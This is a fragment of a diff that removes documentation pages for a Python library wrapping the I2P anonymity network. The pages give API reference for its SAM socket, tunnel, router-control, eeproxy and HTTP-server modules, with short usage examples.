#quickbar { position: absolute; top: 4px; left: 4px; border-right: 1px solid gray; }
|
||||
#article { margin-left: 152px; margin-right: 4px; }
|
||||
/* */
|
||||
//--></style>
|
||||
</head>
|
||||
|
||||
<body bgcolor='#FFFFFF' onload=''>
|
||||
<h1 class='pagetitle'>SAM proxy</h1><p class='subtitle'>From Python-I2P.
|
||||
|
||||
|
||||
<div class='bodytext'>
|
||||
A <strong>SAM proxy</strong> is run by the I2P router. The proxy allows streams, datagrams, and raw packets to be sent through the I2P network. A client application uses a telnet-like session to communicate with the proxy. In this way, the core features of the I2P library can be used by any language.
|
||||
|
||||
|
||||
<p>
|
||||
The protocol used for SAM is described in <a href='http://dev.i2p.net/pipermail/i2p/2004-July/000353.html' class='printable' title="http://dev.i2p.net/pipermail/i2p/2004-July/000353.html">SAM 1.0</a>.
|
||||
|
||||
<p>
|
||||
In practice, a <em>SAM library</em> is usually written, so that client applications do not need to use the low-level SAM commands.
|
||||
|
||||
<p>
|
||||
</div>
|
||||
<p><em>
|
||||
|
||||
</em><!-- Time since request: 0.77 secs. -->
|
||||
</body></html>
|
@ -1,5 +0,0 @@
|
||||
Title: Eeproxy
|
||||
|
||||
The '''Eeproxy''' is run by the I2P router. The proxy is normally used for web browsers, as a means of accessing eepsites.
|
||||
|
||||
The eeproxy is usually available at http://127.0.0.1:4444/.
|
@ -1,49 +0,0 @@
|
||||
Title: User's Guide:i2p.BaseHTTPServer
|
||||
|
||||
Emulates Python BaseHTTPServer module using I2P sockets.
|
||||
|
||||
== Overview ==
|
||||
|
||||
The Python module is described at http://www.python.org/doc/current/lib/module-BaseHTTPServer.html
|
||||
|
||||
To get a server going, use:
|
||||
|
||||
<ul><pre>
|
||||
>>> from i2p import BaseHTTPServer
|
||||
>>> BaseHTTPServer.test().
|
||||
</pre></ul>
|
||||
|
||||
Consult the documentation for function test() to change basic server settings, such as the session name.
|
||||
|
||||
A fully customizable example:
|
||||
|
||||
<ul><pre>
|
||||
>>> from i2p import BaseHTTPServer
|
||||
>>> session = "mytestxxx.i2p" # SAM session name
|
||||
>>> class MyServer(BaseHTTPServer.HTTPServer): pass
|
||||
>>> class MyRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): pass
|
||||
>>> httpd = MyServer(session, MyRequestHandler)
|
||||
>>> httpd.socket.dest
|
||||
(Base64 Destination of server)
|
||||
>>> httpd.serve_forever()
|
||||
</pre></ul>
|
||||
|
||||
== Classes ==
|
||||
|
||||
class '''BaseHTTPRequestHandler'''
|
||||
<ul><pre>
|
||||
Same interface as Python class BaseHTTPServer.BaseHTTPRequestHandler.
|
||||
</pre></ul>
|
||||
class '''HTTPServer'''
|
||||
<ul><pre>
|
||||
Same interface as Python class BaseHTTPServer.HTTPServer.
|
||||
</pre></ul>
|
||||
|
||||
== Functions ==
|
||||
|
||||
'''test'''(HandlerClass=BaseHTTPRequestHandler, ServerClass=HTTPServer, protocol='HTTP/1.0', session='mytestxxx.i2p')
|
||||
<ul><pre>
|
||||
Test the HTTP request handler class.
|
||||
This runs an I2P TCP server under SAM session 'session'. If a single command
|
||||
line argument is given, the argument is used instead as the SAM session name.
|
||||
</pre></ul>
|
@ -1,48 +0,0 @@
|
||||
Title: User's Guide:i2p.CGIHTTPServer
|
||||
|
||||
Module <code>i2p.CGIHTTPServer</code> emulates the Python CGIHTTPServer module using I2P sockets.
|
||||
|
||||
== Overview ==
|
||||
|
||||
The Python module is described at http://www.python.org/doc/current/lib/module-CGIHTTPServer.html
|
||||
|
||||
To get a server going, use:
|
||||
|
||||
<ul><pre>
|
||||
>>> from i2p import CGIHTTPServer
|
||||
>>> CGIHTTPServer.test().
|
||||
</pre></ul>
|
||||
|
||||
Consult the documentation for function test() to change basic server settings, such as the session name.
|
||||
|
||||
A fully customizable example:
|
||||
|
||||
<ul><pre>
|
||||
>>> from i2p import BaseHTTPServer, CGIHTTPServer
|
||||
>>> session = "mytestxxx.i2p" # SAM session name
|
||||
>>> class MyServer(BaseHTTPServer.HTTPServer): pass
|
||||
>>> class MyRequestHandler(CGIHTTPServer.CGIHTTPRequestHandler): pass
|
||||
>>> httpd = MyServer(session, MyRequestHandler)
|
||||
>>> httpd.socket.dest
|
||||
(Base64 Destination of server)
|
||||
>>> httpd.serve_forever()
|
||||
</pre></ul>
|
||||
|
||||
== Classes ==
|
||||
|
||||
class '''CGIHTTPRequestHandler'''
|
||||
<ul><pre>
|
||||
Same interface as Python class CGIHTTPServer.CGIHTTPRequestHandler.
|
||||
</pre></ul>
|
||||
|
||||
== Functions ==
|
||||
|
||||
'''test'''(HandlerClass=CGIHTTPRequestHandler,
|
||||
ServerClass=i2p.BaseHTTPServer.HTTPServer,
|
||||
session='mytestxxx.i2p')
|
||||
<ul><pre>
|
||||
Test the HTTP CGI request handler class.
|
||||
This runs an I2P TCP server under SAM session 'session'. If a single
|
||||
command line argument is given, the argument is used instead as the SAM session
|
||||
name.
|
||||
</pre></ul>
|
@ -1,45 +0,0 @@
|
||||
Title: User's Guide:i2p.SimpleHTTPServer
|
||||
|
||||
Emulates Python SimpleHTTPServer module using I2P sockets.
|
||||
|
||||
== Overview ==
|
||||
|
||||
The Python module is described at http://www.python.org/doc/current/lib/module-SimpleHTTPServer.html
|
||||
|
||||
To get a server going, use:
|
||||
|
||||
<ul><pre>
|
||||
>>> from i2p import SimpleHTTPServer
|
||||
>>> SimpleHTTPServer.test().
|
||||
</pre></ul>
|
||||
|
||||
Consult the documentation for function test() to change basic server settings, such as the session name.
|
||||
|
||||
A fully customizable example:
|
||||
|
||||
<ul><pre>
|
||||
>>> from i2p import BaseHTTPServer, SimpleHTTPServer
|
||||
>>> session = "mytestxxx.i2p" # SAM session name
|
||||
>>> class MyServer(BaseHTTPServer.HTTPServer): pass
|
||||
>>> class MyRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): pass
|
||||
>>> httpd = MyServer(session, MyRequestHandler)
|
||||
>>> httpd.socket.dest
|
||||
(Base64 Destination of server)
|
||||
>>> httpd.serve_forever()
|
||||
</pre></ul>
|
||||
|
||||
== Classes ==
|
||||
|
||||
class '''SimpleHTTPRequestHandler'''
|
||||
<ul><pre>
|
||||
Same interface as Python class SimpleHTTPServer.SimpleHTTPRequestHandler.
|
||||
</pre></ul>
|
||||
|
||||
== Functions ==
|
||||
|
||||
'''test'''(HandlerClass=SimpleHTTPRequestHandler, ServerClass= i2p.BaseHTTPServer.HTTPServer, session='mytestxxx.i2p')
|
||||
<ul><pre>
|
||||
Test the HTTP simple request handler class.
|
||||
This runs an I2P TCP server under SAM session 'session'. If a single command
|
||||
line argument is given, the argument is used instead as the SAM session name.
|
||||
</pre></ul>
|
@ -1,22 +0,0 @@
|
||||
Title: User's Guide:i2p.SocketServer
|
||||
|
||||
Emulates Python SocketServer module using I2P sockets.
|
||||
|
||||
The Python module is described at http://www.python.org/doc/current/lib/module-SocketServer.html
|
||||
|
||||
== Classes ==
|
||||
|
||||
<ul><pre>
|
||||
BaseRequestHandler
|
||||
BaseServer
|
||||
DatagramRequestHandler
|
||||
ForkingMixIn
|
||||
ForkingTCPServer
|
||||
ForkingUDPServer
|
||||
StreamRequestHandler
|
||||
TCPServer
|
||||
ThreadingMixIn
|
||||
ThreadingTCPServer
|
||||
ThreadingUDPServer
|
||||
UDPServer
|
||||
</pre></ul>
|
@ -1,18 +0,0 @@
|
||||
Title: User's Guide:i2p.eep
|
||||
|
||||
Module <code>i2p.eep</code> allows Python programs to access the [[Eeproxy]].
|
||||
|
||||
With this module, a program can easily download eepsites.
|
||||
|
||||
== Functions ==
|
||||
|
||||
'''urlopen'''(url, eepaddr='127.0.0.1:4444')
|
||||
<ul>
|
||||
Like urllib2.urlopen(url), but only works for eep-sites.
|
||||
Example: f = urlopen('http://duck.i2p/index.html')
|
||||
</ul>
|
||||
'''urlget'''(url, eepaddr='127.0.0.1:4444')
|
||||
<ul>
|
||||
Get contents of an eepsite.
|
||||
Example: urlget('http://duck.i2p/').
|
||||
</ul>
|
@ -1,51 +0,0 @@
|
||||
Title: User's Guide:i2p.router
|
||||
|
||||
Module <code>i2p.router</code> allows Python programs to control the I2P router.
|
||||
|
||||
== Functions ==
|
||||
|
||||
'''check'''(dir=None)
|
||||
<ul><pre>
|
||||
Checks whether a locally installed router is running. Does
|
||||
nothing if successful, otherwise raises i2p.RouterError.
|
||||
|
||||
An I2P installation is located by using find(dir).
|
||||
The router.config file is parsed for 'router.adminPort'.
|
||||
This port is queried to determine whether the router is
|
||||
running.
|
||||
</pre></ul>
|
||||
'''find'''(dir=None)
|
||||
<ul><pre>
|
||||
Find the absolute path to a locally installed I2P router.
|
||||
|
||||
An I2P installation is located by looking in the
|
||||
dir argument given to the function, then in the environment
|
||||
I2P, then in PATH. It looks for startRouter.sh or
|
||||
startRouter.bat. Raises ValueError if an I2P installation
|
||||
could not be located.
|
||||
</pre></ul>
|
||||
'''start'''(dir=None, hidden=False)
|
||||
<ul><pre>
|
||||
Start a locally installed I2P router. Does nothing if
|
||||
the router has already been started.
|
||||
|
||||
An I2P installation is located by using find(dir).
|
||||
|
||||
If hidden is True, do not show a terminal for the router.
|
||||
</pre></ul>
|
||||
'''stop'''(dir=None, force=False)
|
||||
<ul><pre>
|
||||
Stop a locally installed I2P router, if it was started by
|
||||
the current Python program. If force is True, stop the
|
||||
router even if it was started by another process. Do nothing
|
||||
if force is False and the router was started by another program.
|
||||
|
||||
The file 'router.config' is located using the same search
|
||||
process used for find(dir). It is parsed for
|
||||
'router.shutdownPassword' and 'router.adminPort'. The
|
||||
router is shut down through the admin port.
|
||||
|
||||
Raises i2p.RouterError if the I2P router is running but cannot
|
||||
be stopped. You must uncomment the
|
||||
'router.shutdownPassword' line for this command to work.
|
||||
</pre></ul>
|
@ -1,202 +0,0 @@
|
||||
Title: User's Guide:i2p.sam
|
||||
|
||||
Module <code>i2p.sam</code> allows Python programs to access the [[SAM proxy]].
|
||||
|
||||
With this module, a program can send stream data, datagrams, and raw packets across the I2P network.
|
||||
|
||||
== Sockets ==
|
||||
|
||||
'''socket'''(session, type, samaddr='127.0.0.1:7656', **kwargs)
|
||||
<ul><pre>
|
||||
Create a new socket. Argument session should be a session
|
||||
name -- if the name has not yet been used, an I2P
|
||||
Destination will be created for it, otherwise, the
|
||||
existing Destination will be re-used. An empty session
|
||||
string causes a transient session to be created. Argument
|
||||
type is one of SOCK_STREAM, SOCK_DGRAM, or SOCK_RAW.
|
||||
|
||||
I2P configuration keyword arguments:
|
||||
|
||||
* in_depth - depth of incoming tunnel (default 2)
|
||||
* out_depth - depth of outgoing tunnel (default 2)
|
||||
|
||||
A single session may be shared by more than one socket, if
|
||||
the sockets are the same type, and if the sockets are
|
||||
created within the same Python process. The socket
|
||||
objects are multithread-safe.
|
||||
|
||||
Examples:
|
||||
a = i2p.socket('Alice', i2p.SOCK_STREAM)
|
||||
b = i2p.socket('Bob', i2p.SOCK_DGRAM,
|
||||
in_depth=2, out_depth=5)
|
||||
|
||||
The created object behaves identically to a socket from
|
||||
module socket, with the following exceptions:
|
||||
|
||||
* I2P Destinations are used as address arguments [1].
|
||||
* bind is a no-op: sockets are always bound.
|
||||
* send* methods send all data and are non-blocking.
|
||||
|
||||
A given session name can only be open in a single Python
|
||||
program at a time. If you need to overcome this
|
||||
limitation, consider patching I2P.
|
||||
|
||||
[1]. Alternatively, a host name can be used as an address.
|
||||
It will be resolved using hosts.txt.
|
||||
|
||||
For details on how to use socket objects, see
|
||||
http://www.python.org/doc/current/lib/socket-objects.html
|
||||
|
||||
See the examples directory for code examples.
|
||||
</pre></ul>
|
||||
'''socket()''' object properties:
|
||||
<ul>
|
||||
dest - Local I2P Destination of socket
|
||||
session - Session name
|
||||
type - Socket type: SOCK_STREAM, SOCK_DGRAM, or SOCK_RAW.
|
||||
</ul>
|
||||
'''poll'''()
|
||||
<ul>
|
||||
Returns a polling object. Works on SAM sockets and Python sockets.
|
||||
See [http://www.python.org/doc/current/lib/module-select.html select.poll()] in the Python library for more information.
|
||||
</ul>
|
||||
|
||||
'''resolve'''(host, samaddr='127.0.0.1:7656')
|
||||
<ul>
|
||||
Resolve I2P host name --> I2P Destination.
|
||||
Returns the same string if host is already a Destination.
|
||||
</ul>
|
||||
|
||||
'''select'''(readlist, writelist, errlist, timeout=None)
|
||||
<ul>
|
||||
Performs a select call. Works on SAM sockets and Python sockets.
|
||||
See [http://www.python.org/doc/current/lib/module-select.html select.select()] in the Python library for more information.
|
||||
</ul>
|
||||
|
||||
== Tunnels ==
|
||||
|
||||
Tunnels allow stream sockets to be joined, so that connections to a listening socket are relayed to one or more sending sockets. This allows an ordinary web server to be exposed as an I2P Destination, or an I2P Destination to be bound as a local port, and so on.
|
||||
|
||||
class '''Tunnel'''(self, receive, make_send, nconnect=-1, timeout=60.0)
|
||||
<ul><pre>
|
||||
A Tunnel relays connections from a 'receive' socket to one
|
||||
or more 'send' sockets. The receive socket must be bound
|
||||
and listening. For each incoming connection, a new send
|
||||
socket is created by calling make_send(). Data is then
|
||||
exchanged between the created streams until one socket is
|
||||
closed. nconnect is the maximum number of simultaneous
|
||||
connections (-1 for infinite), and timeout is the time that
|
||||
a single connection can last for (None allows a connection
|
||||
to last forever).
|
||||
|
||||
Sockets must accept stream traffic and support the Python
|
||||
socket interface. A separate daemonic thread is created to
|
||||
manage the tunnel. For high performance, make_send() should
|
||||
make a socket and connect in non-blocking mode (you should
|
||||
catch and discard the sam.BlockError or socket.error due to
|
||||
executing connect on a non-blocking socket).
|
||||
|
||||
Security Note:
|
||||
A firewall is needed to maintain the end user's anonymity.
|
||||
An attacker could keep a tunnel socket open by pinging it
|
||||
regularly. The accepted sockets from 'receive' must prevent
|
||||
this by closing down eventually.
|
||||
|
||||
Socket errors do not cause the Tunnel to shut down.
|
||||
</pre></ul>
|
||||
|
||||
'''close'''()
|
||||
<ul>
|
||||
Close all connections made for this tunnel.
|
||||
</ul>
|
||||
|
||||
=== Tunnel Server ===
|
||||
|
||||
class '''TunnelServer'''(session, port, samaddr='127.0.0.1:7656', nconnect=-1, timeout=None, **kwargs)
|
||||
<ul><pre>
|
||||
Tunnels incoming SAM streams --> localhost:port.
|
||||
|
||||
nconnect and timeout are the maximum number of connections
|
||||
and maximum time per connection. All other arguments are
|
||||
passed to sam.socket(). This call blocks until the tunnel
|
||||
is ready.
|
||||
</pre></ul>
|
||||
|
||||
'''TunnelServer''' properties:
|
||||
<ul><pre>
|
||||
dest - I2P Destination of server.
|
||||
session - Session name for server.
|
||||
</pre></ul>
|
||||
|
||||
=== Tunnel Client ===
|
||||
|
||||
class '''TunnelClient'''(session, port, dest, samaddr='127.0.0.1:7656', nconnect=-1, timeout=None, **kwargs)
|
||||
<ul><pre>
|
||||
Derived from Tunnel.
|
||||
Tunnels localhost:port --> I2P Destination dest.
|
||||
|
||||
A session named 'session' is created locally, for purposes
|
||||
of routing to 'dest'. nconnect and timeout are the maximum
|
||||
number of connections and maximum time per connection. All
|
||||
other arguments are passed to sam.socket(). This call blocks
|
||||
until the tunnel is ready.
|
||||
</pre></ul>
|
||||
|
||||
'''TunnelClient''' properties:
|
||||
<ul><pre>
|
||||
dest - Local Destination used for routing.
|
||||
remotedest - Remote Destination.
|
||||
session - Session name for local Destination.
|
||||
</pre></ul>
|
||||
|
||||
== Errors ==
|
||||
|
||||
class '''Error'''(i2p.Error)
|
||||
<ul><pre>
|
||||
Base class for all SAM errors.
|
||||
</pre></ul>
|
||||
class '''BlockError'''(Error)
|
||||
<ul><pre>
|
||||
Socket call would have blocked.
|
||||
</pre></ul>
|
||||
class '''ClosedError'''(Error)
|
||||
<ul><pre>
|
||||
A command was used on a socket that closed gracefully.
|
||||
</pre></ul>
|
||||
class '''NetworkError'''(Error)
|
||||
<ul><pre>
|
||||
Network error occurred within I2P.
|
||||
|
||||
The error object is a 2-tuple: (errtag, errdesc).
|
||||
errtag is a SAM error string,
|
||||
errdesc is a human readable error description.
|
||||
</pre></ul>
|
||||
|
||||
== Constants ==
|
||||
|
||||
'''Socket types'''
|
||||
<ul><pre>
|
||||
SOCK_STREAM = 1
|
||||
SOCK_DGRAM = 2
|
||||
SOCK_RAW = 3
|
||||
</pre></ul>
|
||||
'''Packet sizes'''
|
||||
<ul><pre>
|
||||
MAX_DGRAM = 31744 # Maximum size for datagram packet
|
||||
MAX_RAW = 32768 # Maximum size for raw packet
|
||||
</pre></ul>
|
||||
'''Flags for recv()'''
|
||||
<ul><pre>
|
||||
MSG_DONTWAIT = 128 # Don't block
|
||||
MSG_PEEK = 2 # Peek at incoming data
|
||||
MSG_WAITALL = 64 # Wait for all data or error
|
||||
</pre></ul>
|
||||
'''Polling flags'''
|
||||
<ul><pre>
|
||||
POLLIN = 1
|
||||
POLLOUT = 4
|
||||
POLLERR = 8
|
||||
POLLHUP = 16
|
||||
POLLNVAL = 32
|
||||
POLLPRI = 1
|
||||
</pre></ul>
|
@ -1,27 +0,0 @@
|
||||
Title: User's Guide:i2p.select
|
||||
|
||||
Module <code>i2p.select</code> emulates the Python module <code>select</code>.
|
||||
|
||||
With this module, a program can perform select and poll commands on traditional and I2P sockets.
|
||||
|
||||
'''poll'''()
|
||||
<ul>
|
||||
Returns a polling object. Works on SAM sockets and Python sockets.
|
||||
See [http://www.python.org/doc/current/lib/module-select.html select.poll()] in the Python library for more information.
|
||||
</ul>
|
||||
|
||||
'''select'''(readlist, writelist, errlist, timeout=None)
|
||||
<ul>
|
||||
Performs a select call. Works on SAM sockets and Python sockets.
|
||||
See [http://www.python.org/doc/current/lib/module-select.html select.select()] in the Python library for more information.
|
||||
</ul>
|
||||
|
||||
'''Polling flags'''
|
||||
<ul><pre>
|
||||
POLLIN = 1
|
||||
POLLOUT = 4
|
||||
POLLERR = 8
|
||||
POLLHUP = 16
|
||||
POLLNVAL = 32
|
||||
POLLPRI = 1
|
||||
</pre></ul>
|
@ -1,276 +0,0 @@
|
||||
Title: User's Guide:i2p.socket
|
||||
|
||||
Module <code>i2p.socket</code> allows Python programs to access the [[SAM proxy]]. It emulates the Python module <code>socket</code>.
|
||||
|
||||
With this module, a program can send stream data, datagrams, and raw packets across the I2P network.
|
||||
|
||||
== Sockets ==
|
||||
|
||||
class '''socket'''(session, type, samaddr='127.0.0.1:7656', **kwargs)
|
||||
<ul><pre>
|
||||
Create a new socket. Argument session should be a session
|
||||
name -- if the name has not yet been used, an I2P
|
||||
Destination will be created for it, otherwise, the
|
||||
existing Destination will be re-used. An empty session
|
||||
string causes a transient session to be created. Argument
|
||||
type is one of SOCK_STREAM, SOCK_DGRAM, or SOCK_RAW.
|
||||
|
||||
I2P configuration keyword arguments:
|
||||
|
||||
- in_depth - depth of incoming tunnel (default 2)
|
||||
- out_depth - depth of outgoing tunnel (default 2)
|
||||
|
||||
A single session may be shared by more than one socket, if
|
||||
the sockets are the same type, and if the sockets are
|
||||
created within the same Python process. The socket
|
||||
objects are multithread-safe.
|
||||
|
||||
Examples:
|
||||
>>> a = i2p.socket('Alice', i2p.SOCK_STREAM)
|
||||
>>> b = i2p.socket('Bob', i2p.SOCK_DGRAM,
|
||||
in_depth=2, out_depth=5)
|
||||
|
||||
The created object behaves identically to a socket from
|
||||
module socket, with the following exceptions:
|
||||
|
||||
* I2P Destinations are used as address arguments [1].
|
||||
* bind is a no-op: sockets are always bound.
|
||||
* send* methods send all data and are non-blocking.
|
||||
|
||||
A given session name can only be open in a single Python
|
||||
program at a time. If you need to overcome this
|
||||
limitation, consider patching I2P.
|
||||
|
||||
[1]. Alternatively, a host name can be used as an address.
|
||||
It will be resolved using hosts.txt.
|
||||
</pre>
|
||||
For details on how to use socket objects, see
|
||||
http://www.python.org/doc/current/lib/socket-objects.html
|
||||
|
||||
See the examples directory for code examples.
|
||||
</ul>
|
||||
The class <code>socket</code> defines the following properties:
|
||||
<ul>
|
||||
dest - Local I2P Destination of socket
|
||||
session - Session name
|
||||
type - Socket type: SOCK_STREAM, SOCK_DGRAM, or SOCK_RAW.
|
||||
</ul>
|
||||
|
||||
The class <code>socket</code> defines the following methods:
|
||||
|
||||
'''accept'''(self)
|
||||
<ul><pre>
|
||||
Accept an incoming connection. The socket must be type SOCK_STREAM, and
|
||||
listen() must be called prior to this command. The return value is (conn,
|
||||
remotedest), where conn is a new socket object made for the connection, and
|
||||
remotedest is the remote Destination from which the connection was made.
|
||||
|
||||
Example:
|
||||
|
||||
>>> from i2p import socket
|
||||
>>> s = socket.socket('Alice', socket.SOCK_STREAM)
|
||||
>>> s.listen(10)
|
||||
|
||||
This prepares the server. Now accept an incoming connection:
|
||||
|
||||
>>> c, remotedest = s.accept()
|
||||
>>> c.send('hello world!')
|
||||
|
||||
If accept() is called on a socket that is in non-blocking mode or has a
|
||||
timeout, i2p.socket.BlockError or i2p.socket.Timeout may be raised. This
|
||||
indicates that no incoming connection is currently available.
|
||||
</pre></ul>
|
||||
'''bind'''(self, address)
|
||||
<ul><pre>
|
||||
Does nothing. Provided for compatibility with the Python socket command
|
||||
bind(), which binds a server to a port.
|
||||
</pre></ul>
|
||||
'''close'''(self)
|
||||
<ul><pre>
|
||||
Closes the socket. It is an error to call any method other than recv() or
|
||||
recvfrom() on a closed socket. For streams, the receive methods return data
|
||||
that was received prior to the closing of the socket. For datagram and raw
|
||||
sockets, the receive methods cannot be used on a closed socket.
|
||||
</pre></ul>
|
||||
'''connect'''(self, address)
|
||||
<ul><pre>
|
||||
Connect to a remote dest, identified in local SAM bridge's hosts file as host
|
||||
'address'.
|
||||
|
||||
For example:
|
||||
|
||||
>>> s.connect('duck.i2p')
|
||||
|
||||
Alternatively, you can use a full base64 Destination:
|
||||
Example:
|
||||
|
||||
>>> s.connect('238797sdfh2k34kjh....AAAA')
|
||||
|
||||
If connect() is called on a socket that is in non-blocking mode or has a
|
||||
timeout, i2p.socket.BlockError or i2p.socket.Timeout may be raised. This
|
||||
indicates that the connection is still being initiated. Use i2p.select.select()
|
||||
to determine when the connection is ready.
|
||||
</pre></ul>
|
||||
'''connect_ex'''(self, address)
|
||||
<ul><pre>
|
||||
Like connect(), but return any error that is raised. Returns None if no error
|
||||
is raised.
|
||||
</pre></ul>
|
||||
'''getpeername'''(self)
|
||||
<ul><pre>
|
||||
Get the remote Destination associated with the socket. This is equivalent to
|
||||
s.remotedest, and is provided for compatibility with the Python socket module.
|
||||
</pre></ul>
|
||||
'''getsockname'''(self)
|
||||
<ul><pre>
|
||||
Get the local Destination associated with the socket. This is equivalent to
|
||||
s.dest, and is provided for compatibility with the Python socket module.
|
||||
</pre></ul>
|
||||
'''gettimeout'''(self)
|
||||
<ul><pre>
|
||||
Get the timeout value.
|
||||
</pre></ul>
|
||||
'''listen'''(self, backlog)
|
||||
<ul><pre>
|
||||
Listen for connections made to the socket. This method must be called before
|
||||
accept(). The backlog argument specifies the maximum number of queued incoming
|
||||
connections.
|
||||
</pre></ul>
|
||||
'''makefile'''(self, mode='r', bufsize=-1)
|
||||
<ul><pre>
|
||||
Return a file object for the socket. See socket.makefile() in the Python
|
||||
documentation for more information.
|
||||
</pre></ul>
|
||||
'''recv'''(self, bufsize, flags=0)
|
||||
<ul><pre>
|
||||
Receive string data from the socket.
|
||||
|
||||
The maximum amount of data to be received is given by bufsize. If bufsize is
|
||||
zero, this function returns an empty string immediately. If bufsize is nonzero,
|
||||
this function blocks until at least one character is available for reading. If
|
||||
the socket has been closed, an empty string is returned as an end of file
|
||||
indicator.
|
||||
|
||||
If recv() is called on a socket that is in non-blocking mode or has a timeout,
|
||||
i2p.socket.BlockError or i2p.socket.Timeout will be raised if data is not
|
||||
available within the given timeframe.
|
||||
|
||||
For a datagram or raw socket, the first bufsize characters of the packet are
|
||||
read, and the remainder of the packet is discarded. To read the entire packet,
|
||||
use bufsize = -1.
|
||||
|
||||
For datagram and raw sockets, the packet may originate from any Destination.
|
||||
Use recvfrom() with datagrams to determine the Destination from which the
|
||||
packet was received.
|
||||
|
||||
The flags argument can be a bitwise OR of MSG_PEEK, MSG_WAITALL, and/or
|
||||
MSG_DONTWAIT. MSG_PEEK indicates that any data read should not be removed from
|
||||
the socket's incoming buffer. MSG_WAITALL indicates to wait for exactly bufsize
|
||||
characters or an error. MSG_DONTWAIT indicates that the recv() command should
|
||||
not block execution.
|
||||
</pre></ul>
|
||||
'''recvfrom'''(self, bufsize, flags=0)
|
||||
<ul><pre>
|
||||
Like recv(), but returns a tuple (data, remoteaddr), where data is the string
|
||||
data received, and remoteaddr is the remote Destination.
|
||||
</pre></ul>
|
||||
'''send'''(self, string, flags=0)
|
||||
<ul><pre>
|
||||
Sends string data to a remote Destination.
|
||||
|
||||
For a stream, connect() must be called prior to send(). Once close() is called,
|
||||
no further data can be sent, and the stream cannot be re-opened.
|
||||
|
||||
For datagram and raw sockets, connect() only specifies a Destination to which
|
||||
packets are sent to. send() will then send a packet to the given Destination.
|
||||
connect() can be used multiple times.
|
||||
|
||||
The send() command never blocks execution. The flags argument is ignored.
|
||||
</pre></ul>
|
||||
'''sendall'''(self, string, flags=0)
|
||||
<ul><pre>
|
||||
Identical to send().
|
||||
</pre></ul>
|
||||
'''sendto'''(self, string, flags, address)
|
||||
<ul><pre>
|
||||
Send a packet to the given Destination.
|
||||
|
||||
Only valid for datagram and raw sockets. The address argument should be either
|
||||
a name from the hosts file, or a base64 Destination.
|
||||
|
||||
The sendto() command never blocks execution. The flags argument is ignored.
|
||||
</pre></ul>
|
||||
'''setblocking'''(self, flag)
|
||||
<ul><pre>
|
||||
Set blocking or non-blocking mode for the socket.
|
||||
|
||||
If flag is True, any method called on the socket will hang until the method has
|
||||
completed. If flag is False, all methods will raise i2p.socket.BlockError() if
|
||||
they cannot complete instantly.
|
||||
|
||||
s.setblocking(False) is equivalent to s.settimeout(0); s.setblocking(True) is
|
||||
equivalent to s.settimeout(None).
|
||||
</pre></ul>
|
||||
'''settimeout'''(self, value)
|
||||
<ul><pre>
|
||||
Set a timeout for the socket.
|
||||
|
||||
The value argument should be a timeout value in seconds, or None. None is
|
||||
equivalent to an infinite timeout.
|
||||
|
||||
A socket operation will raise a i2p.socket.Timeout if the operation cannot
|
||||
complete within in the specified time limit.
|
||||
</pre></ul>
|
||||
|
||||
== Functions ==
|
||||
|
||||
Functions defined in module <code>i2p.socket</code>:
|
||||
|
||||
'''resolve'''(host, samaddr='127.0.0.1:7656')
|
||||
<ul>
|
||||
Resolve I2P host name --> I2P Destination.
|
||||
Returns the same string if host is already a Destination.
|
||||
</ul>
|
||||
|
||||
== Errors ==
|
||||
|
||||
class '''Error'''(i2p.Error)
|
||||
<ul><pre>
|
||||
Base class for all SAM errors.
|
||||
</pre></ul>
|
||||
class '''BlockError'''(Error)
|
||||
<ul><pre>
|
||||
Socket call would have blocked.
|
||||
</pre></ul>
|
||||
class '''ClosedError'''(Error)
|
||||
<ul><pre>
|
||||
A command was used on a socket that closed gracefully.
|
||||
</pre></ul>
|
||||
class '''NetworkError'''(Error)
|
||||
<ul><pre>
|
||||
Network error occurred within I2P.
|
||||
|
||||
The error object is a 2-tuple: (errtag, errdesc).
|
||||
errtag is a SAM error string,
|
||||
errdesc is a human readable error description.
|
||||
</pre></ul>
|
||||
|
||||
== Constants ==
|
||||
|
||||
'''Socket types'''
|
||||
<ul><pre>
|
||||
SOCK_STREAM = 1
|
||||
SOCK_DGRAM = 2
|
||||
SOCK_RAW = 3
|
||||
</pre></ul>
|
||||
'''Packet sizes'''
|
||||
<ul><pre>
|
||||
MAX_DGRAM = 31744 # Maximum size for datagram packet
|
||||
MAX_RAW = 32768 # Maximum size for raw packet
|
||||
</pre></ul>
|
||||
'''Flags for recv()'''
|
||||
<ul><pre>
|
||||
MSG_DONTWAIT = 128 # Don't block
|
||||
MSG_PEEK = 2 # Peek at incoming data
|
||||
MSG_WAITALL = 64 # Wait for all data or error
|
||||
</pre></ul>
|
@ -1,79 +0,0 @@
|
||||
Title: User's Guide:i2p.tunnel
|
||||
|
||||
Module <code>i2p.tunnel</code> allows data to be exchanged between traditional TCP sockets and I2P sockets.
|
||||
|
||||
== Tunnels ==
|
||||
|
||||
Tunnels allow stream sockets to be joined, so that connections to a listening socket are relayed to one or more sending sockets. This allows an ordinary web server to be exposed as an I2P Destination, or an I2P Destination to be bound as a local port, and so on.
|
||||
|
||||
class '''Tunnel'''(self, receive, make_send, nconnect=-1, timeout=60.0)
|
||||
<ul><pre>
|
||||
A Tunnel relays connections from a 'receive' socket to one
|
||||
or more 'send' sockets. The receive socket must be bound
|
||||
and listening. For each incoming connection, a new send
|
||||
socket is created by calling make_send(). Data is then
|
||||
exchanged between the created streams until one socket is
|
||||
closed. nconnect is the maximum number of simultaneous
|
||||
connections (-1 for infinite), and timeout is the time that
|
||||
a single connection can last for (None allows a connection
|
||||
to last forever).
|
||||
|
||||
Sockets must accept stream traffic and support the Python
|
||||
socket interface. A separate daemonic thread is created to
|
||||
manage the tunnel. For high performance, make_send() should
|
||||
make a socket and connect in non-blocking mode (you should
|
||||
catch and discard the i2p.socket.BlockError or socket.error due to
|
||||
executing connect on a non-blocking socket).
|
||||
|
||||
Security Note:
|
||||
A firewall is needed to maintain the end user's anonymity.
|
||||
An attacker could keep a tunnel socket open by pinging it
|
||||
regularly. The accepted sockets from 'receive' must prevent
|
||||
this by closing down eventually.
|
||||
|
||||
Socket errors do not cause the Tunnel to shut down.
|
||||
</pre></ul>
|
||||
|
||||
'''close'''()
|
||||
<ul>
|
||||
Close all connections made for this tunnel.
|
||||
</ul>
|
||||
|
||||
=== Tunnel Server ===
|
||||
|
||||
class '''TunnelServer'''(session, port, samaddr='127.0.0.1:7656', nconnect=-1, timeout=None, **kwargs)
|
||||
<ul><pre>
|
||||
Tunnels incoming SAM streams --> localhost:port.
|
||||
|
||||
